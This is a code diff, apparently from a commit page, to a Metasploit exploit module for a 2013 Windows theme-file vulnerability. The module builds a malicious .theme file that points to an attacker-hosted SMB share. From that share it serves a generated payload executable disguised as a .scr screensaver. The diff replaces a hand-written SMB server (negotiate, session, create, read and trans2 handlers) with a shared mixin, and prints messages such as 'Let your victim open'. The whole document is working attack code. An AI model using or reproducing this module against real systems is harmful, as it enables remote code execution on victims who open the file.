@@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
1010
1111 include Msf ::Exploit ::FILEFORMAT
1212 include Msf ::Exploit ::EXE
13- include Msf ::Exploit ::Remote ::SMB ::Server
13+ include Msf ::Exploit ::Remote ::SMB ::Server :: Share
1414
1515 def initialize ( info = { } )
1616 super ( update_info ( info ,
@@ -28,7 +28,8 @@ def initialize(info={})
2828 'Author' =>
2929 [
3030 'Eduardo Prado' , # Vulnerability discovery
31- 'juan vazquez' # Metasploit module
31+ 'juan vazquez' , # Metasploit module
32+ 'Matthew Hall <[email protected] >' # Metasploit module refactored to use Remote::SMBFileServer 3233 ] ,
3334 'References' =>
3435 [
@@ -56,30 +57,18 @@ def initialize(info={})
5657 'Privileged' => false ,
5758 'DisclosureDate' => "Sep 10 2013" ,
5859 'DefaultTarget' => 0 ) )
59-
60- register_options (
60+ register_options (
6161 [
62- OptString . new ( 'FILENAME' , [ true , 'The theme file' , 'msf.theme' ] ) ,
63- OptString . new ( 'UNCPATH ' , [ false , 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit. scr)' ] )
62+ OptString . new ( 'FILENAME' , [ true , 'The theme file' , 'msf.theme' ] ) ,
63+ OptString . new ( 'FILE_NAME ' , [ false , 'SCR File name to share' , 'msf. scr' ] )
6464 ] , self . class )
65+ deregister_options ( 'FILE_CONTENTS' )
6566 end
6667
6768 def exploit
68-
69- if ( datastore [ 'UNCPATH' ] )
70- @unc = datastore [ 'UNCPATH' ]
71- print_status ( "Remember to share the malicious EXE payload as #{ @unc } " )
72- else
73- print_status ( "Generating our malicious executable..." )
74- @exe = generate_payload_exe
75- my_host = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ]
76- @share = rand_text_alpha ( 5 + rand ( 5 ) )
77- @scr_file = "#{ rand_text_alpha ( 5 + rand ( 5 ) ) } .scr"
78- @hi , @lo = UTILS . time_unix_to_smb ( Time . now . to_i )
79- @unc = "\\ \\ #{ my_host } \\ #{ @share } \\ #{ @scr_file } "
80- end
81-
8269 print_status ( "Creating '#{ datastore [ 'FILENAME' ] } ' file ..." )
70+ self . file_contents = generate_payload_exe
71+ print_status ( "Malicious SCR available on #{ unc } ..." )
8372 # Default Windows XP / 2003 theme modified
8473 theme = <<-EOF
8574; Copyright (c) Microsoft Corp. 1995-2001
@@ -118,316 +107,6 @@ def exploit
118107MTSM=DABJDKT
119108 EOF
120109 file_create ( theme )
121- print_good ( "Let your victim open #{ datastore [ 'FILENAME' ] } " )
122-
123- if not datastore [ 'UNCPATH' ]
124- print_status ( "Ready to deliver your payload on #{ @unc } " )
125- super
126- end
127-
128- end
129-
130- # TODO: these smb_* methods should be moved up to the SMBServer mixin
131- # development and test on progress
132-
133- def smb_cmd_dispatch ( cmd , c , buff )
134- smb = @state [ c ]
135- vprint_status ( "Received command #{ cmd } from #{ smb [ :name ] } " )
136-
137- pkt = CONST ::SMB_BASE_PKT . make_struct
138- pkt . from_s ( buff )
139- #Record the IDs
140- smb [ :process_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'ProcessID' ]
141- smb [ :user_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'UserID' ]
142- smb [ :tree_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'TreeID' ]
143- smb [ :multiplex_id ] = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'MultiplexID' ]
144-
145- case cmd
146- when CONST ::SMB_COM_NEGOTIATE
147- smb_cmd_negotiate ( c , buff )
148- when CONST ::SMB_COM_SESSION_SETUP_ANDX
149- wordcount = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ]
150- if wordcount == 0x0D # It's the case for Share Security Mode sessions
151- smb_cmd_session_setup ( c , buff )
152- else
153- vprint_status ( "SMB Capture - #{ smb [ :ip ] } Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... " )
154- smb_error ( cmd , c , CONST ::SMB_STATUS_SUCCESS )
155- end
156- when CONST ::SMB_COM_TRANSACTION2
157- smb_cmd_trans ( c , buff )
158- when CONST ::SMB_COM_NT_CREATE_ANDX
159- smb_cmd_create ( c , buff )
160- when CONST ::SMB_COM_READ_ANDX
161- smb_cmd_read ( c , buff )
162- else
163- vprint_status ( "SMB Capture - Ignoring request from #{ smb [ :name ] } - #{ smb [ :ip ] } (#{ cmd } )" )
164- smb_error ( cmd , c , CONST ::SMB_STATUS_SUCCESS )
165- end
166- end
167-
168-
169- def smb_cmd_negotiate ( c , buff )
170- pkt = CONST ::SMB_NEG_PKT . make_struct
171- pkt . from_s ( buff )
172-
173- dialects = pkt [ 'Payload' ] . v [ 'Payload' ] . gsub ( /\x00 / , '' ) . split ( /\x02 / ) . grep ( /^\w +/ )
174-
175- dialect = dialects . index ( "NT LM 0.12" ) || dialects . length -1
176-
177- pkt = CONST ::SMB_NEG_RES_NT_PKT . make_struct
178- smb_set_defaults ( c , pkt )
179-
180- time_hi , time_lo = UTILS . time_unix_to_smb ( Time . now . to_i )
181-
182- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_NEGOTIATE
183- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
184- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
185- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ] = 17
186- pkt [ 'Payload' ] . v [ 'Dialect' ] = dialect
187- pkt [ 'Payload' ] . v [ 'SecurityMode' ] = 2 # SHARE Security Mode
188- pkt [ 'Payload' ] . v [ 'MaxMPX' ] = 50
189- pkt [ 'Payload' ] . v [ 'MaxVCS' ] = 1
190- pkt [ 'Payload' ] . v [ 'MaxBuff' ] = 4356
191- pkt [ 'Payload' ] . v [ 'MaxRaw' ] = 65536
192- pkt [ 'Payload' ] . v [ 'SystemTimeLow' ] = time_lo
193- pkt [ 'Payload' ] . v [ 'SystemTimeHigh' ] = time_hi
194- pkt [ 'Payload' ] . v [ 'ServerTimeZone' ] = 0x0
195- pkt [ 'Payload' ] . v [ 'SessionKey' ] = 0
196- pkt [ 'Payload' ] . v [ 'Capabilities' ] = 0x80f3fd
197- pkt [ 'Payload' ] . v [ 'KeyLength' ] = 8
198- pkt [ 'Payload' ] . v [ 'Payload' ] = Rex ::Text . rand_text_hex ( 8 )
199-
200- c . put ( pkt . to_s )
201- end
202-
203- def smb_cmd_session_setup ( c , buff )
204-
205- pkt = CONST ::SMB_SETUP_RES_PKT . make_struct
206- smb_set_defaults ( c , pkt )
207-
208- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_SESSION_SETUP_ANDX
209- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
210- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
211- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ] = 3
212- pkt [ 'Payload' ] . v [ 'AndX' ] = 0x75
213- pkt [ 'Payload' ] . v [ 'Reserved1' ] = 00
214- pkt [ 'Payload' ] . v [ 'AndXOffset' ] = 96
215- pkt [ 'Payload' ] . v [ 'Action' ] = 0x1 # Logged in as Guest
216- pkt [ 'Payload' ] . v [ 'Payload' ] =
217- Rex ::Text . to_unicode ( "Unix" , 'utf-16be' ) + "\x00 \x00 " + # Native OS # Samba signature
218- Rex ::Text . to_unicode ( "Samba 3.4.7" , 'utf-16be' ) + "\x00 \x00 " + # Native LAN Manager # Samba signature
219- Rex ::Text . to_unicode ( "WORKGROUP" , 'utf-16be' ) + "\x00 \x00 \x00 " + # Primary DOMAIN # Samba signature
220- tree_connect_response = ""
221- tree_connect_response << [ 7 ] . pack ( "C" ) # Tree Connect Response : WordCount
222- tree_connect_response << [ 0xff ] . pack ( "C" ) # Tree Connect Response : AndXCommand
223- tree_connect_response << [ 0 ] . pack ( "C" ) # Tree Connect Response : Reserved
224- tree_connect_response << [ 0 ] . pack ( "v" ) # Tree Connect Response : AndXOffset
225- tree_connect_response << [ 0x1 ] . pack ( "v" ) # Tree Connect Response : Optional Support
226- tree_connect_response << [ 0xa9 ] . pack ( "v" ) # Tree Connect Response : Word Parameter
227- tree_connect_response << [ 0x12 ] . pack ( "v" ) # Tree Connect Response : Word Parameter
228- tree_connect_response << [ 0 ] . pack ( "v" ) # Tree Connect Response : Word Parameter
229- tree_connect_response << [ 0 ] . pack ( "v" ) # Tree Connect Response : Word Parameter
230- tree_connect_response << [ 13 ] . pack ( "v" ) # Tree Connect Response : ByteCount
231- tree_connect_response << "A:\x00 " # Service
232- tree_connect_response << "#{ Rex ::Text . to_unicode ( "NTFS" ) } \x00 \x00 " # Extra byte parameters
233- # Fix the Netbios Session Service Message Length
234- # to have into account the tree_connect_response,
235- # need to do this because there isn't support for
236- # AndX still
237- my_pkt = pkt . to_s + tree_connect_response
238- original_length = my_pkt [ 2 , 2 ] . unpack ( "n" ) . first
239- original_length = original_length + tree_connect_response . length
240- my_pkt [ 2 , 2 ] = [ original_length ] . pack ( "n" )
241- c . put ( my_pkt )
242- end
243-
244- def smb_cmd_create ( c , buff )
245- pkt = CONST ::SMB_CREATE_PKT . make_struct
246- pkt . from_s ( buff )
247-
248- if pkt [ 'Payload' ] . v [ 'Payload' ] =~ /#{ Rex ::Text . to_unicode ( "#{ @scr_file } \x00 " ) } /
249- pkt = CONST ::SMB_CREATE_RES_PKT . make_struct
250- smb_set_defaults ( c , pkt )
251- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_NT_CREATE_ANDX
252- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
253- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
254- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ] = 42
255- pkt [ 'Payload' ] . v [ 'AndX' ] = 0xff # no further commands
256- pkt [ 'Payload' ] . v [ 'OpLock' ] = 0x2
257- # No need to track fid here, we're just offering one file
258- pkt [ 'Payload' ] . v [ 'FileID' ] = rand ( 0x7fff ) + 1 # To avoid fid = 0
259- pkt [ 'Payload' ] . v [ 'Action' ] = 0x1 # The file existed and was opened
260- pkt [ 'Payload' ] . v [ 'CreateTimeLow' ] = @lo
261- pkt [ 'Payload' ] . v [ 'CreateTimeHigh' ] = @hi
262- pkt [ 'Payload' ] . v [ 'AccessTimeLow' ] = @lo
263- pkt [ 'Payload' ] . v [ 'AccessTimeHigh' ] = @hi
264- pkt [ 'Payload' ] . v [ 'WriteTimeLow' ] = @lo
265- pkt [ 'Payload' ] . v [ 'WriteTimeHigh' ] = @hi
266- pkt [ 'Payload' ] . v [ 'ChangeTimeLow' ] = @lo
267- pkt [ 'Payload' ] . v [ 'ChangeTimeHigh' ] = @hi
268- pkt [ 'Payload' ] . v [ 'Attributes' ] = 0x80 # Ordinary file
269- pkt [ 'Payload' ] . v [ 'AllocLow' ] = 0x100000
270- pkt [ 'Payload' ] . v [ 'AllocHigh' ] = 0
271- pkt [ 'Payload' ] . v [ 'EOFLow' ] = @exe . length
272- pkt [ 'Payload' ] . v [ 'EOFHigh' ] = 0
273- pkt [ 'Payload' ] . v [ 'FileType' ] = 0
274- pkt [ 'Payload' ] . v [ 'IPCState' ] = 0x7
275- pkt [ 'Payload' ] . v [ 'IsDirectory' ] = 0
276- c . put ( pkt . to_s )
277- else
278- pkt = CONST ::SMB_CREATE_RES_PKT . make_struct
279- smb_set_defaults ( c , pkt )
280- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_NT_CREATE_ANDX
281- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'ErrorClass' ] = 0xC0000034 # OBJECT_NAME_NOT_FOUND
282- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
283- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
284- c . put ( pkt . to_s )
285- end
286-
287- end
288-
289- def smb_cmd_read ( c , buff )
290- pkt = CONST ::SMB_READ_PKT . make_struct
291- pkt . from_s ( buff )
292-
293- offset = pkt [ 'Payload' ] . v [ 'Offset' ]
294- length = pkt [ 'Payload' ] . v [ 'MaxCountLow' ]
295-
296- pkt = CONST ::SMB_READ_RES_PKT . make_struct
297- smb_set_defaults ( c , pkt )
298-
299- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_READ_ANDX
300- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
301- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
302- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ] = 12
303- pkt [ 'Payload' ] . v [ 'AndX' ] = 0xff # no more commands
304- pkt [ 'Payload' ] . v [ 'Remaining' ] = 0xffff
305- pkt [ 'Payload' ] . v [ 'DataLenLow' ] = length
306- pkt [ 'Payload' ] . v [ 'DataOffset' ] = 59
307- pkt [ 'Payload' ] . v [ 'DataLenHigh' ] = 0
308- pkt [ 'Payload' ] . v [ 'Reserved3' ] = 0
309- pkt [ 'Payload' ] . v [ 'Reserved4' ] = 6
310- pkt [ 'Payload' ] . v [ 'ByteCount' ] = length
311- pkt [ 'Payload' ] . v [ 'Payload' ] = @exe [ offset , length ]
312-
313- c . put ( pkt . to_s )
314- end
315-
316- def smb_cmd_trans ( c , buff )
317- pkt = CONST ::SMB_TRANS2_PKT . make_struct
318- pkt . from_s ( buff )
319-
320- sub_command = pkt [ 'Payload' ] . v [ 'SetupData' ] . unpack ( "v" ) . first
321- case sub_command
322- when 0x5 # QUERY_PATH_INFO
323- smb_cmd_trans_query_path_info ( c , buff )
324- when 0x1 # FIND_FIRST2
325- smb_cmd_trans_find_first2 ( c , buff )
326- else
327- pkt = CONST ::SMB_TRANS_RES_PKT . make_struct
328- smb_set_defaults ( c , pkt )
329- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_TRANSACTION2
330- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
331- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
332- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'ErrorClass' ] = 0xc0000225 # NT_STATUS_NOT_FOUND
333- c . put ( pkt . to_s )
334- end
335- end
336-
337- def smb_cmd_trans_query_path_info ( c , buff )
338- pkt = CONST ::SMB_TRANS2_PKT . make_struct
339- pkt . from_s ( buff )
340-
341- if pkt [ 'Payload' ] . v [ 'SetupData' ] . length < 16
342- # if QUERY_PATH_INFO_PARAMETERS doesn't include a file name,
343- # return a Directory answer
344- pkt = CONST ::SMB_TRANS_RES_PKT . make_struct
345- smb_set_defaults ( c , pkt )
346-
347- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_TRANSACTION2
348- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
349- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
350- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ] = 10
351- pkt [ 'Payload' ] . v [ 'ParamCountTotal' ] = 2
352- pkt [ 'Payload' ] . v [ 'DataCountTotal' ] = 40
353- pkt [ 'Payload' ] . v [ 'ParamCount' ] = 2
354- pkt [ 'Payload' ] . v [ 'ParamOffset' ] = 56
355- pkt [ 'Payload' ] . v [ 'DataCount' ] = 40
356- pkt [ 'Payload' ] . v [ 'DataOffset' ] = 60
357- pkt [ 'Payload' ] . v [ 'Payload' ] =
358- "\x00 " + # Padding
359- # QUERY_PATH_INFO Parameters
360- "\x00 \x00 " + # EA Error Offset
361- "\x00 \x00 " + # Padding
362- #QUERY_PATH_INFO Data
363- [ @lo , @hi ] . pack ( "VV" ) + # Created
364- [ @lo , @hi ] . pack ( "VV" ) + # Last Access
365- [ @lo , @hi ] . pack ( "VV" ) + # Last Write
366- [ @lo , @hi ] . pack ( "VV" ) + # Change
367- "\x10 \x00 \x00 \x00 " + # File attributes => directory
368- "\x00 \x00 \x00 \x00 " # Unknown
369- c . put ( pkt . to_s )
370-
371- else
372- # if QUERY_PATH_INFO_PARAMETERS includes a file name,
373- # returns an object name not found error
374- pkt = CONST ::SMB_TRANS_RES_PKT . make_struct
375- smb_set_defaults ( c , pkt )
376-
377- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_TRANSACTION2
378- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'ErrorClass' ] = 0xC0000034 #OBJECT_NAME_NOT_FOUND
379- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
380- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
381- c . put ( pkt . to_s )
382-
383- end
384- end
385-
386- def smb_cmd_trans_find_first2 ( c , buff )
387-
388- pkt = CONST ::SMB_TRANS_RES_PKT . make_struct
389- smb_set_defaults ( c , pkt )
390-
391- file_name = Rex ::Text . to_unicode ( @scr_file )
392-
393- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_TRANSACTION2
394- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x88
395- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags2' ] = 0xc001
396- pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ] = 10
397- pkt [ 'Payload' ] . v [ 'ParamCountTotal' ] = 10
398- pkt [ 'Payload' ] . v [ 'DataCountTotal' ] = 94 + file_name . length
399- pkt [ 'Payload' ] . v [ 'ParamCount' ] = 10
400- pkt [ 'Payload' ] . v [ 'ParamOffset' ] = 56
401- pkt [ 'Payload' ] . v [ 'DataCount' ] = 94 + file_name . length
402- pkt [ 'Payload' ] . v [ 'DataOffset' ] = 68
403- pkt [ 'Payload' ] . v [ 'Payload' ] =
404- "\x00 " + # Padding
405- # FIND_FIRST2 Parameters
406- "\xfd \xff " + # Search ID
407- "\x01 \x00 " + # Search count
408- "\x01 \x00 " + # End Of Search
409- "\x00 \x00 " + # EA Error Offset
410- "\x00 \x00 " + # Last Name Offset
411- "\x00 \x00 " + # Padding
412- #QUERY_PATH_INFO Data
413- [ 94 + file_name . length ] . pack ( "V" ) + # Next Entry Offset
414- "\x00 \x00 \x00 \x00 " + # File Index
415- [ @lo , @hi ] . pack ( "VV" ) + # Created
416- [ @lo , @hi ] . pack ( "VV" ) + # Last Access
417- [ @lo , @hi ] . pack ( "VV" ) + # Last Write
418- [ @lo , @hi ] . pack ( "VV" ) + # Change
419- [ @exe . length ] . pack ( "V" ) + "\x00 \x00 \x00 \x00 " + # End Of File
420- "\x00 \x00 \x10 \x00 \x00 \x00 \x00 \x00 " + # Allocation size
421- "\x80 \x00 \x00 \x00 " + # File attributes => directory
422- [ file_name . length ] . pack ( "V" ) + # File name len
423- "\x00 \x00 \x00 \x00 " + # EA List Lenght
424- "\x00 " + # Short file lenght
425- "\x00 " + # Reserved
426- ( "\x00 " * 24 ) +
427- file_name
428-
429- c . put ( pkt . to_s )
430110 end
431111
432112end
433-
0 commit comments